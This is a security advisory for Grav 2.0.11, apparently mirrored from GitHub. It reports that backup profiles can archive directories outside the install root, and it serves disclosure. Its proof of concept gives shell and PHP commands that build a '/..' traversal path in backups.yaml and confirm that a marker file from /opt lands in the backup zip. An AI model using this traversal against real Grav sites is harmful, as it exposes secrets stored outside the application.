# GHSA-FCH7-CPV4-W7HG: Backup profiles can include external directories outside GRAV\_ROOT when controlled by a profile editor

- Database: GitHub
- Severity: low (stated by ghsa, no CVSS score)
- Published: 2026-07-26
- Modified: 2026-07-26

## Affected versions

- grav (Packagist): 2.0.11

## Description

### Summary

Grav 2.0.11 still allows a configured backup profile to archive a directory outside `GRAV_ROOT` when that directory is not in the hard-coded blocked path list. I verified the issue on the latest tag by triggering the normal Grav CLI backup flow and confirming that the resulting zip contains a marker file from outside the Grav installation.

Affected version tested:

```text
Grav 2.0.11
commit ad9709f865b09b68798fb1ac375b484a8cc1d892
```

### Details

`Backups::backup()` resolves the configured backup root with `realpath()`, computes whether it is under `GRAV_ROOT`, but only applies a deny-list when the path is outside `GRAV_ROOT`. Any outside directory not in that list, such as `/opt`, is still accepted and passed to the archiver.

The check is in `system/src/Grav/Common/Backup/Backups.php` at the tested commit. A positive containment check is needed: the resolved backup root should be exactly `GRAV_ROOT` or a child path under it.

### PoC

Clone and check out the tested version:

```bash
git clone https://github.com/getgrav/grav.git
cd grav
git checkout 2.0.11
composer install --no-interaction --no-progress --prefer-dist
```

Create a directory outside the Grav installation and place a marker file in it:

```bash
sudo mkdir -p /opt/grav-cve-2025-66305-outside
sudo sh -c 'printf "%s\n" "CVE-2025-66305 outside-root marker" > /opt/grav-cve-2025-66305-outside/marker.txt'
sudo chown -R "$(id -u):$(id -g)" /opt/grav-cve-2025-66305-outside
```

Create a backup profile that traverses from `GRAV_ROOT` to `/opt/grav-cve-2025-66305-outside`:

```bash
ROOT_TRAVERSAL=$(php -r '$target="/opt/grav-cve-2025-66305-outside"; $segments=array_values(array_filter(explode("/", getcwd()), "strlen")); echo str_repeat("/..", count($segments)).$target, PHP_EOL;')
cat > user/config/backups.yaml <<YAML
purge:
  trigger: space
  max_backups_count: 25
  max_backups_space: 5
  max_backups_time: 365

profiles:
  -
    name: 'Latest Outside Root PoC'
    root: '${ROOT_TRAVERSAL}'
    schedule: false
    schedule_at: '0 3 * * *'
    exclude_paths: ""
    exclude_files: ""
YAML
```

Run the normal Grav backup command and list the created archive:

```bash
php bin/grav backup 0
php -r '$files=glob("backup/latest_outside_root_po_c--*.zip"); rsort($files); $zip=$files[0] ?? null; echo "ZIP=$zip\n"; $z=new ZipArchive(); $z->open($zip); for ($i=0; $i<$z->numFiles; $i++) echo $z->getNameIndex($i), "\n"; $z->close();'
```

Observed output from latest verification:

```text
[OK] Backup Successfully Created:
     backup/latest_outside_root_po_c--20260720125549.zip

ZIP=backup/latest_outside_root_po_c--20260720125549.zip
marker.txt
```

### Impact

An attacker who can create or modify Grav backup profiles can use the backup feature to archive files from outside the Grav installation if the target path is not covered by the hard-coded deny-list. This can expose application data or secrets stored in common non-blocklisted locations such as `/opt`, `/mnt`, or `/srv`.

## References

- https://github.com/getgrav/grav/security/advisories/GHSA-fch7-cpv4-w7hg

Page: https://cve.now/GHSA-FCH7-CPV4-W7HG

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
